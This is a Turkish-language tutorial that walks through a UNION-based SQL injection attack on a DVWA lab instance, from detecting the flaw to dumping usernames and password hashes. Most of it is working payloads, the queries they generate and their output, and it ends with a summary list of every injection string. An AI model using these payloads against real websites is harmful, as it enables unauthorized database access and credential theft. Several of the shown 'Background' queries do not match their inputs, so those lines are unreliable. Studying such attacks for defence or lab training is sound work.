SQL Açigi Olan Bir Siteden Sifre Bilgisini Elde Etme Senaryosu

---

1)

Input box'a tirnak koyulur ve eger hata dönerse hedef sitede sql açigi var denir. Çünkü sql sorgularında tırnak işareti WHERE koşulundaki field'ların değerini sınırlandırmaya yarayan bir komut olduğundan dolayı değer olarak girdiğimiz tırnak işareti eğer filtrelenmemişse fazladan bir tırnak olacağından SQL sorgusuna hata verdirir.

[Detay]

PHP'de WHERE koşulundaki değerler tırnak içine konulmadan da yazılabilmektedir. Böylesi bir durumda input box'a girilecek tırnak işareti yine hata verdirecektir. Çünkü bu sefer hiç tırnak yokken bir tane tırnak olacaktır. Bu tırnak kapatılmaya ihtiyaç duyacağından yine hata döndürecektir. Sonuç olarak sitede zafiyet var mı yok mu diye deneme yapan kişinin ilgili sayfanın arkaplanında yer alan SQL sorgusundaki WHERE koşulu değerlerinin tırnaklı mı tırnaksız mı kullanıldığını düşünmesine gerek yoktur. Her iki durumda da metin kutusuna girilecek tırnak karakteri hataya sebep olmaktadır. Birinde fazla tırnaktan dolayı, diğerinde eksik tırnaktan dolayı.

2)

Alınan hata üzerine input box'tan aldigi degere göre içerik döndüren web sitesinin sql sorgusundaki WHERE kosulunu iptal etmek için herhangi bir değer, sonrasında ise "or 1 = 1" ifadesi girilir.

Input:

> 99' or '1' = '1' #

Background:

Select firstName, surName from contacts WHERE user_id=99 or 1=1

Böylece sql sorgusunun kullandigi tablodaki tüm kayitlarin ekrana yansitilmasi saglanir.

3)

Ardindan sql sorgusunun kullandigi tabloda kaç kolon var o tespit edilir. Bunun için ORDER BY keyword'ü kullanılır. Söyle ki;

Select firstName, surName from contacts WHERE user_id='99' or '1'='1' ORDER BY 1

ORDER BY 1 ile sorguya çektigi kayitlari tablonun 1. kolonuna göre sirala emri verilmiş olur. Eger web sayfasi hata döndürmezse 1 yerine 2 yine vermezse 3, böyle hata verene kadar sayı arttırılarak konur. Ne zaman sayfa hata verirse bu durumda bir önceki hata vermeyen sayı tablonun kolon sayısıdır anlamına gelir.

4)

SQL sorgusunun kullandigi tablonun kolon sayisini tespit ederek enjekte edecegimiz UNION keyword'ü sonrasi kaç kolonlu sql sorgusu ilave edebilirizin yanitini ögrenmis oluyoruz. Çünkü UNION sonrası eklenecek sorgu ile UNION öncesi var olan sorgunun kolon sayısı ayni olmak zorundadir.

5)

Kolon sayısı tespit edildiğine göre artık UNION ile sayfaya ilave SQL sorgusu dahil edebiliriz. Senaryo gereği kullanıcı adı ve şifreyi ele geçirmek için yapılması gereken işlem en genelden en spesifiğe doğru UNION ile bir tarama yapmaktır. Yani önce UNION sonrası ekleyeceğimiz SQL sorgusu ile ilgili veritabanı yazılımında yüklü veritabanlarının isimlerini ekrana yazdırmalıyız. Sonra içlerinden birini seçip bu seçtiğimizin sahip olduğu tüm tabloların isimlerini ekrana yazdırmalıyız. Daha sonra seçtiğimiz tablonun tüm kolonlarının isimlerini ekrana yazdırmalıyız. Böylece kullanıcı adi ve şifre kolonlarını bulunca bu kolonları içeren tabloyu UNION sonrası SQL sorgusunda kullanarak kolon değerlerini ekrana basmalıyız. Sonuç olarak en genelden en spesifiğe doğru olan bu yolculukta şifre gibi hassas verilere ulaşmış olacağız.

6)

Şimdi öğrendiğimiz kolon sayısı bilgisini kullanarak UNION ile sayfadaki sorguya kendi sorgumuzu enjekte edelim.

Input:

> 99' or '1'='1' UNION Select 1, 2 #

Background:

SELECT firstName, surName FROM contacts WHERE user_id='99' or '1'='1' UNION Select 1, 2

Output:

ID: 99' or '1' = '1' UNION Select 1, 2 #

First name: admin

Surname: admin

ID: 99' or '1' = '1' UNION Select 1, 2 #

First name: Gordon

Surname: Brown

ID: 99' or '1' = '1' UNION Select 1, 2 #

First name: Hack

Surname: Me

ID: 99' or '1' = '1' UNION Select 1, 2 #

First name: Pablo

Surname: Picasso

ID: 99' or '1' = '1' UNION Select 1, 2 #

First name: Bob

Surname: Smith

ID : 99' or '1' = '1' UNION Select 1,version() # // *(Last Iteration)*

First name: 1

Surname: 2

UNION aldığı sorguların kayıtlarını alt alta ekler. Dolayısıyla sayfaya önce UNION'ın solundaki sorguya ait kayıtlar sıralanacaktır ve bunun altına ise UNION'ın sağındaki kayıtlar eklenecektir. Output'taki kırmızı olmayan kayıtlar sayfaya ait sql

sorgusunun çıktılarıdır. Kırmızı olan ise enjekte ettiğimiz sorgunun çıktısıdır. Enjekte ettiğimiz sorguya kolon olarak 1 ve 2 konulmuştur. Bunun nedeni ileride kullanacağımız bazi öntanimli sql fonksiyonlarinin döndürecegi degerlerin tarayicida nerede görüntülendiğini tespit edebilelim diyedir.

7)

Şimdi öntanımlı SQL fonksiyonlarını kullanalım.

➔ version() // MySQL'in versiyonu bilgisini verir.

Input:

> 99' or '1' = '1' UNION Select version(), 2 #

Background:

SELECT firstName,surName FROM contacts WHERE user_id='99' or '1'='1'
UNION
Select version(), 2

Output: *// (Last Iteration)*

ID : 99' or '1' = '1' UNION Select 1,version() #

First name: 5.6.26

Surname: 2

➔ @@datadir // MySQL'de yüklü veritabanlarının klasörlerinin yer aldığı
// dizini verir.

Input:

> 99' or '1' = '1' UNION Select 1,@@datadir #

Background:

Select firstName, surName from contacts WHERE user_id='99' or '1'='1'
UNION
Select version(), @@datadir

Output: // *(Last Iteration)*

ID : 99' or '1' = '1' UNION Select 1,version() #

First name: 5.6.26

Surname: C:\xampp\mysql\data\

➔ user() // Sayfadaki sql sorgusunun veritabanı üzerindeki yetkisini verir.

Input:

> 99' or '1' = '1' UNION Select 1,user() #

Background:

Select firstName, surName from contacts WHERE user_id='99' or '1'='1' UNION
Select 1, user()

Output: // *(Last Iteration)*

ID : 99' or '1' = '1' UNION Select 1,user() #

First name: 1

Surname: root@localhost

➔ database() // Sayfadaki sql sorgusunun kullandığı tablonun yer aldığı
// veritabanı adını verir.

Input:

> 99' or '1' = '1' UNION Select 1,database() #

Background:

Select firstName, surName from contacts WHERE user_id='99' or '1'='1' UNION
Select 1, database()

Output: *// (Last Iteration)*

ID : 99' or '1' = '1' UNION Select 1,database() #

First name: 1

Surname: dvwa

7)

Eger version()'in döndürdügü MySQL'in versiyon bilgisi 5.0.0'in yukarisini gösteriyorsa sifreleri elde etmek çok kolaydir. Çünkü 5.0.0 ve yukarisinda yararlanabilecegimiz information_schema adli MySQL'de varsayılan olarak gelen bir veritabani vardir. Bu veritabanı MySQL'de yer alan bütün veritabanlarının isimlerini, bütün tabloların isimlerini ve bütün kolonların isimlerini dinamik olarak tablolarda depolamaktadır. Simdi information_schema'dan veri çekerek ilerleyelim.

NOT: Bu veritabani isimtescil.net'in phpmyadmin'inde gördüğüm kadariyla yok. Hem de MySQL 5.0.0'in yukarisinda olmasina ragmen. Bu gösteriyor ki isimtescil.net sistemcileri bu veritabanini güvenlik gerekçesiyle kaldirmis. Uyanik adamlar :)

8)

Daha önce database() ile veritabani adini çekmistik, fakat bu çekilen veritabani ismi sadece sql sorgusunun kullandigi tablonun yer aldigi veritabaninin ismiydi. İnformation_schema'dan MySQL de varolan tüm veritabanlarinin isimlerini çekelim. Böylece kullanici adi ve sifre gibi bilgilerin yer alabilecegi bir veritabanini gözümüze kestirebilelim. Bunun için information_schema adli veritabanindaki SCHEMATA adli tablonun SCHEMA_NAME adli kolonunu UNION sonrasina ilave etmemiz gerekir. Böylece tüm veritabanlarinin isimlerini 1 numarali verinin yerine görüntülemis olacagiz.

Input:

> 99' or '1' = '1' UNION Select 1,schema_name from information_schema.schemata #

Background:

Select firstName, surName from contacts WHERE user_id='99' or '1'='1'
UNION
Select 1, schema_name from information_schema.SCHEMATA

Output: // (Sadece) Enjekte Edilen SQL Sorgusunun Çıktısı

ID: 99' or '1' = '1' UNION Select 1,schema_name from
information_schema.schemata #
First name: 1

Surname: soninclu_veritabani

ID: 99' or '1' = '1' UNION Select 1,schema_name from
information_schema.schemata #
First name: 1

Surname: information_schema

ID: 99' or '1' = '1' UNION Select 1,schema_name from
information_schema.schemata #
First name: 1

Surname: dvwa

ID: 99' or '1' = '1' UNION Select 1,schema_name from
information_schema.schemata #
First name: 1

Surname: test

Görüldüğü üzere herbir veritabanı ismi için while() dongusu tekrarlanmıştır. Eğer group_concat() fonksiyonu kullanırsak alinan tüm schema_name kolonu satirlarini tek satira indirgeyip virgül ile ayirarak daha okunaklı bir çıktı elde edebiliriz. group_concat ile enjekte edeceğimiz sql sorgusunun while döngüsünü ekstradan sadece bir kez döndürmesini sağlamış olacağız.

Input:

> 99' or '1' = '1' UNION Select 1,group_concat(schema_name) from
information_schema.schemata #

Background:

Select firstName, surName from contacts WHERE user_id='99' or '1'='1'
UNION
Select 1, group_concat(schema_name) from information_schema.SCHEMATA

Output: *// (Last Iteration)*

ID: 99' or '1' = '1' UNION Select 1,group_concat(schema_name) from information_schema.schemata #

First name: 1

Surname: soninclu_veritabani , information_schema, dvwa, test

9)

Sıralanan veritabanı isimlerinden kullanici adi ve sifre içerebilecegini düşündüğümüz veritabani adini (dvwa'yı) bir köseye not edelim. Bir sonraki adım seçtiğimiz veritabanının içerdiği tabloların isimlerini öğrenmektir. information_schema adlı veritabanının TABLES adlı tablosunun TABLE_NAME kolonu MySQL de var olan tüm veritabanlarinin tüm tablolarinin isimlerini içermektedir. Bu yüzden biz bu tablonun ilgili kolonundan faydalanacağız, fakat bütün tablo isimlerini değil de sadece seçtiğimiz veritabanına ait tabloları öğrenmek için sorgumuza seçtiğimiz veritabanına göre kısıtlama yapacak bir WHERE koşulu katacağız. Şimdi kodumuzu görelim.

Input:

> 99' or '1' = '1' UNION Select 1,group_concat(table_name) from information_schema.tables Where table_schema='dvwa' #

Background:

Select firstName, surName from contacts WHERE user_id='99' or '1'='1'
UNION
Select group_concat(table_name),2 from information_schema.TABLES

Output: *// (Last Iteration)*

ID: 99' or '1' = '1' UNION Select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa' #

First name: 1

Surname: guestbook,users

2 numarası yerine dvwa'nın içerdiği tüm tablolarin isimleri sıralanmıştır. Böylece sifrelerin depolu olabilecegi olasi tablo - users - bize göz kırpmaktadır. Evet, users'i bir köseye not edelim. Hedefe gittikçe yaklasiyoruz.

10)

Sira geldi information_schema'da yer alan COLUMNS tablosuna. Bu tablo MySQL'deki var olan tüm tablolarin kolonlarinin isimlerini satir satir depolamistir. Bu tabloda en son not ettiğimiz "users" tablosunun adina göre bir sonuç daraltmasina giderek sadece belirledigimiz (gözümüze kestirdigimiz) tablonun kolon isimlerini siralayalim.

Input:

> 99' or '1' = '1' UNION SELECT 1,group_concat(column_name) FROM
information_schema.COLUMNS
WHERE table_name='users' #

Background:

Select firstName, surName from contacts WHERE user_id='99' or '1'='1'
UNION
Select 1,group_concat(table_name) FROM information_schema.COLUMNS
WHERE table_name = 'users'

Output: *// (Last Iteration)*

ID: 99' or '1' = '1' UNION Select 1,group_concat(column_name) from
information_schema.columns
Where table_name='users' #
First name: 1

Surname: ID, username, email, password, about, privilege, avatar, user_id, first_name, last_name, user, password, avatar, last_login, failed_login, USER,

CURRENT_CONNECTIONS, TOTAL_CONNECTIONS

Böylece kullanici adi ve sifrenin depolandigi kolonlari bariz bir sekilde tespit etmis olduk. Simdi UNION ile ilave ettigmiz sql sorgusuna bu kolonlari yazdirtalim.

Input:

> 99' or '1' = '1' UNION Select 1,group_concat(user,0x3b,password,0x0a)
from dvwa.users #

Background:

Select firstName, surName from contacts WHERE user_id='99' or '1'='1'
UNION
SELECT group_concat(username,0x3b,password) from dvwa.users

Output: *(Last Iteration)*

ID: 99' or '1' = '1' UNION Select 1, group_concat(user,0x3b,password,0x0a) from dvwa.users #

First name: 1

Surname: admin;5f4dcc3b5aa765d61d8327deb882cf99

gordonb;e99a18c428cb38d5f260853678922e03

1337;8d3533d75ae2c3966d7e0d4fcc69216b

pablo;0d107d09f5bbe40cade3de5c71e9e9b7

(!) 0x3b hexadecimal dilde noktali virgül demektir. Kullanici adi ve sifreyi ayirt edebilmek için arasina noktali virgül koyariz.

(!) 0x0a, hexadecimal sistemde satir atlatma demektir. Kullanıldığı yer gereği her kayıttan sonra satır atlatmak için kullanılmıştır.

Sonuç olarak bir sql açigindan taa kullanici adi ve sifreye kadar varabilmis olduk.

11)

[ÖZET]

Bu aşamaya gelene kadar kullandığımız injection kodları şunlardır:

> 99' or '1' = '1' #

> 99' or '1' = '1' ORDER BY 1 #

> 99' or '1' = '1' ORDER BY 2 #

> 99' or '1' = '1' ORDER BY 3 #

> 99' or '1' = '1' UNION Select 1,2 #

> 99' or '1' = '1' UNION Select 1,version() #

> 99' or '1' = '1' UNION Select 1,schema_name from information_schema.schemata #

> 99' or '1' = '1' UNION Select 1,group_concat(schema_name) from information_schema.schemata #

> 99' or '1' = '1' UNION Select 1,group_concat(table_name) from information_schema.tables Where table_schema='dvwa' #

> 99' or '1' = '1' UNION Select 1,group_concat(column_name) from information_schema.columns Where table_name='users' #

> 99' or '1' = '1' UNION Select 1,group_concat(user,0x3b,password,0x0a) from dvwa.users #

Bu süreci özet bir şekilde açıklayacak olursak sayfadaki sql sorgusunun kullandigi tablonun kolon sayisini öncelikle tespit ettik. Böylece UNION ile birlestirecegimiz sorgunun kolon sayisini anlamis olduk. Bunun üzerine UNION ile sorgu ekledik. Böylece sayfadaki sql sorgusunun siraladigi sonuçlarin altina bizim veriler eklenmiş oldu. Eklenen bu veriler önce sayfadaki sql sorgusunun kullandigi tablonun yer aldigi veritabaninin adi olarak yansıdı. Sonra ekrana yansıyan veritabanının admin şifresi içermeyeceği düşünüldüğü için yeni veritabanı ismi aramak adına information_schema'yi kullandik. Oradan tüm veritabani adlarini listeleyip bize göz kirpan veritabani ismini bir köseye not ettik. Ardindan information_schema daki TABLES'dan 'not ettigimiz veritabaninin barindirdigi tüm tablolari listelettik. Ardindan gözümüze kestirdigimiz tablo adini kullanarak tekrar information_schema daki bu sefer COLUMNS tablosundan not ettigimiz tablonun içerdiği tüm kolon adlarini listelettik ve kullanici adi, sifre barindirdigina inandigimiz kolon isimlerini bir köseye not ettik. Sonra bu kolon adlarini UNION sonrasindaki sql sorgusuna ilave ederek ekrana yazdirttik ve kullanici adi ve sifreyi görüntülemis olduk.

Ekstra

@@datadir değişkeni Information_Schemata veritabanının Session_Variables tablosunda yer alıyormuş. Dolayısıyla datadir gibi aynı tablodaki diğer değişkenleri de kullanarak hedef Mysql'den daha fazla bilgi toplayabiliriz. Örneğin ilgili tabloda şöyle değişkenler mevcut:

Variable	Value
HOSTNAME	hefese-N61Jq
VERSION_COMPILE_MACHINE	x86_64
LOG_ERROR	/var/log/mysql/error.log
[…]	[…]

datadir'in önüne koyduğumuz @@ sembollerini bu değişkenlere de koyarak değerlerini ekrana basabiliriz.

Input:

> 99' UNION Select 1, @@HOSTNAME #

Background:

Select firstName, surName from contacts WHERE user_id='99'

UNION

Select 1, user()

Output:

ID: 99' UNION Select 1, @@HOSTNAME #

First name: 1

Surname: hefese-N61Jq